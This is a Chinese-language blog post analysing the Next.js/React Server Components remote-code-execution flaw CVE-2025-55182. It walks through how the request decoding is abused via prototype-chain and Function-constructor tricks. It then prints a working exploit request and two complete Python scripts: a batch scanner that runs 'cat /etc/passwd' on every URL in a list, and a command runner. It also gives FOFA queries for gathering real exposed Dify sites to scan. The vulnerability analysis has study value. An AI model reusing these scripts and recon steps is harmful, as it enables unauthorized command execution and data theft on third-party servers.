发布的第一篇博客说希望自己两天一发以督促学习,还是有点大言不惭了😭
文章的创作动机是想重新梳理对CVE-2025-55182的理解,一开始思考的不够深入,所以今天再来整理一遍。因为自己的前置知识少,所以内容里对很多浅显道理的描述比较繁琐。
参考:
先知社区React4Shell 漏洞分析 (cve-2025-55182)
赛博知识驿站公众号
前置知识
RSC(React Server Components) 服务
React 的新特性,使组件可以在服务器上执行并直接访问数据库等后端资源。服务器只把这些组件的渲染结果用 React Flight Payload 发送给浏览器,而不是发送组件代码本身,从而显著减少前端 JS 体积并加快首屏加载。浏览器与服务器之间通过 Flight 协议交换 UI 的描述数据。
thenable
Thenable 就是“能够在完成后继续执行下一步的东西”,是一种异步对象的标准接口,它通过then(resolve)方法来通知调用者 “异步操作何时完成,以及完成后的结果是什么”
异步(Asynchronous)的核心是 非阻塞执行,同时进行多个任务。在发起耗时操作(例如网络请求、文件读写、数据库查询等)后,不等待结果返回,继续执行后续代码,等耗时操作完成后再 “回调” 处理结果。
如果一个 thenable 的then(resolve)里 再次返回另一个 thenable,javaScript 引擎会继续对这个新的 thenable 执行 相同的解析流程,再次调用它的.then(),一层套一层,一直解析到最终不是 thenable 为止。
提供三点简单的原型链的基础知识,帮助理解这里的then方法为什么能够被await调用到
通过 new 类名() 创建的实例,(ImageLoader)就会自动 “链接” 到该类的原型对象(ImageLoader.prototype)上,从而能访问 / 继承原型上的所有属性和方法
用
new 类名()创建实例时,默认返回这个类的实例,从而能访问 / 继承原型上的所有属性和方法直接写在类内部的方法(非
static、非构造函数),如这里的then(resolve, reject)会被自动挂载到类的原型对象上
SRC如何执行
Next.js 默认支持 RSC 请求识别,并会根据特殊 Header(如Next-Action)执行不同的 server Action
例如这个检测payload:
因为next.js没有严格限制只有框架内部的请求才能触发server action,所以它仿照格式进行了伪造
检测漏洞的请求通过以下请求头结构:
Next-Action x 表明是Server action请求
原理:
Next.js 在编译时会给每个 Server Action 生成唯一的 actionId。客户端调用 Server Action 时,会自动将 actionId 设置到 Next-Action header 中。服务端收到请求后,根据 header 中的
next-action判断是否为 Server Action 请求。
Router State Tree 只要符合JSON格式,就能到下一步:解析body里传的数据的阶段
Content-Type:mutipart/form-data格式(对应编码器decodeReplyFromBusboy),其他格式对应(decodeReply)
在一个接收formdata表单数据,查询,再返回查询到的内容的过程里,整个过程在服务端执行,结果通过 React Flight 协议(RSC payload)流式传输给浏览器。
React Flight Protocol 是 React 用于在客户端和服务器之间传输数据的二进制协议。它使用特殊的前缀符号(以$开头)来表示不同的数据类型和引用。对这个漏洞chunk的理解需要先掌握如下4个。
| 符号 | 含义 | 编码示例 | 解码结果 | 使用场景 |
|---|---|---|---|---|
$@ | Chunk 引 | Promise→"$@1" | getChunk(response, 1) | 异步数据、Promise |
$K | FormData 引用 | FormData→"$K1" | 从 FormData 提取 ID=1 | 表单数据、文件上传 |
$B | Blob 引用 | Blob→"$B1" | response._formData.get("1") | 二进制数据、图片 |
$Q | Map 对象 | Map→"$Q1" | new Map(...) | Map 数据结构 |
multipart/form-data被decode的具体流程
decodeReplyFromBusboy()解码函数, 其内部创建了一个 response 对象,并且注册了 busboy 的事件监听器,当busboySteam 收到数据时就会自动触发resoveField(),decode 返回了一个 Chunk 对象,这个对象一定是一个 thenable 的,当 chunk 返回后会await又会自动调用它的 then 方法。(这两步都是因为因为 nextJS 使用了await decodeReplyFromBusboy()来等待他的结果,重点是await)
debug数据里能看到,chunk的status是pending。同时得知chunk需要具备四个值:
status,value,reason和_response
由图 可知由resolved_model状态才会触发initializeModelChun(chunk),然后才能status=fulfilled,才触发resolve(),
一开始状态为pending是无法调用的
但是在下面的 busy Steam 的监听器函数里:
这个babystream的监听器一收到数据就会触发resolvedField(),在其中继续触发resolveModelChunk(),这里的pending就变成了resolved_model状态,并且直接触发initializeModelChun(chunk)
initializeModelChunk将 chunk 中的 JSON 字符串解析为 JavaScript 对象,receiveModel递归处理 $开头的特殊标记,并唤醒等待的 await 。这也是 POC 构造的重要触发点,利用递归和特殊引用来达到恶意方法执行
漏洞分析
现在来分析漏洞。看 POC 的构造,同样使用的是multipart/form-data格式, 并且在 header 中设置了一个不存在的Next-Action, NextJS 收到这个请求后就会当作 server Action 来处理,并且使用decodeReplyFromBusboy对请求包进行解码.
Next-Action: x X-Nextjs-Request-Id: 51fe50ef2a379133 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye12x8j2O X-Nextjs-Html-Request-Id: 2344e891bc6a0657004928128530dc287d17a91 Content-Length: 499 ------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "process.mainModule.require('child_process').execSync('id');", "_chunks": "", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundarye12x8j2O--由于在对 json 字符串进行递归解析时, 对 $ 开头的字符会当作特殊的引用处理
这里的_proto_:then就是拿到原型链上的then方法的意思
实际上,因为构造$@0的逻辑就是想调用chunk的then方法,不用绕圈去调用chunk原型链的then方法
所以这样写也能成功:$1:then
在首轮解析处理过后
name=1 $@0 对 chunk 对象的引用。
name=0,这里调用了原型链上的then方法,=> chunk.prototype.then
此时外部 await 发现存在一个 then 方法,并且就是指向 chunk.then,由于这里面的 status 我们定义为 resolved_model,所以会直接调用 initializeModelChunk 进行递归解析,解析到$B的时候依照十六进制处理数据存为obj,并且把处理后的结果填入response._formData.get("response._prefix+obj"),
又因为这里的get被污染,变成function
_formData.get => Function 的构造函数。
reviveModel是 Next.js/React Server DOM 中 “把序列化数据还原为 JS 对象” 的函数.通过其对constructor的处理,把恶意代码还原成可执行的函数,这是漏洞触发的关键。
constructor是 JS 中对象的内置属性,指向 “创建这个对象的构造函数”。
$1:constructor:constructor表示 “获取这个对象的constructor属性的constructor”—— 最终会解析为Function构造函数(因为所有构造函数的constructor都是Function,比如FormData.constructor === Function)
因为value => {"then":"$B1337",所以response._formData.get("response._prefix+obj")最终作为$B解析后的结果传给then方法。then方法在第二次解析后就变成了匿名函数function anonymous()
由于这里的then指向的是一个function而不是字符串,所以外部await收到解析结果后会发现还有then方法,继续对then方法进行调用。而因为这里的then方法正是恶意函数,在第三轮执行的时候直接触发了恶意的函数执行,从而导致RCE!
FOFA资产搜集
语句:app="Dify"
还有一些老师给别的语句用于参考:(其中一些语句漏洞刚出的时候比较好用)
把搜集到的导出成excel表格再复制粘贴进一个urls.txt就可以进入后续查找漏洞了
ps:搜集漏洞时,建议别用enfofa,用fofa
一些错误的尝试:
因为一开始觉得开发使用rsc是新的app router模式,所以fofa里搜索语句最先用的body="self._ next_f",并且认为不能用page router对应的 body=" _ NEXT_ DATA _"
事实上新react都支持server action,无论开发用不用 rsc,服务器都支持 rsc。
脚本分析
1.poc.py
# /// script # dependencies = ["requests"] # /// import requests import sys import json import argparse import urllib3 # Disable warnings for insecure requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_url(url, command="cat /etc/passwd"): print(f"Checking {url}...") crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});", # If you don't need the command output, you can use this line instead: # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');", "_formData": { "get": "$1:constructor:constructor", }, }, } files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), } headers = {"Next-Action": "x"} try: # verify=False to ignore SSL certificate errors res = requests.post(url, files=files, headers=headers, timeout=10, verify=False) if "root" in res.text: print(f"[+] Vulnerable: {url}") with open("vulns.txt", "a") as f: f.write(url + "\n") else: print(f"[-] Not vulnerable: {url}") # print(res.text) except Exception as e: print(f"[-] Error checking {url}: {e}") def main(): parser = argparse.ArgumentParser(description="CVE-2025-55182 POC") parser.add_argument("url", nargs="?", help="Single URL to check") parser.add_argument("command", nargs="?", default="cat /etc/passwd", help="Command to execute") parser.add_argument("-f", "--file", help="File containing list of URLs") args = parser.parse_args() if args.file: try: with open(args.file, "r", encoding='utf-8', errors='ignore') as f: urls = f.read().splitlines() for url in urls: url = url.strip() if url: if not url.startswith("http"): url = "http://" + url check_url(url, args.command) except FileNotFoundError: print(f"File not found: {args.file}") elif args.url: check_url(args.url, args.command) else: parser.print_help() if __name__ == "__main__": main()比起用全局脚本,用id指令通过回显去判断漏洞的github开源脚本https://github.com/msanft/CVE-2025-55182,poc.py构造了check url函数,-f 实现批量url读取;执行cat /etc/passwd指令;防止脚本中断,禁用SSL警告;把得到的vulnerable urls保存在txt里。
2. exp.py
增加了在127.0.0.1:8080端口代理功能
# /// script # dependencies = ["requests"] # /// import requests import sys import json BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000" EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id" crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});", # 如果你不需要命令输出,可以使用下面这行(盲执行): # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');", "_formData": { "get": "$1:constructor:constructor", }, }, } files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), } headers = {"Next-Action": "x"} # 配置代理 proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", # 注意:即使目标是 HTTPS,Burp 默认也用 HTTP 代理 } try: res = requests.post( BASE_URL, files=files, headers=headers, proxies=proxies, timeout=10, verify=False # 如果目标是 HTTPS 且你用的是 Burp 的自签名证书,可避免 SSL 报错 ) print("Status Code:", res.status_code) print("Response Body:\n", res.text) except requests.exceptions.RequestException as e: print("Request failed:", e)补充:
在另外的一个脚本中,除了采用 [307, 302] 响应头检测,还采用了从正则响应里观察关键字,如下
这样的判断方法只要有admin,user就判断是可能的漏洞的话,会找到一堆登录界面。。😭
最后实现RCE
注意:bp抓包记得勾选follow redirection
由于poc里throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});这句代码,会利用nextjs的特殊处理逻辑,进行重定向并且将错误响应放在重定向页面里,不开重定向只会显示307 Temporary Redirect。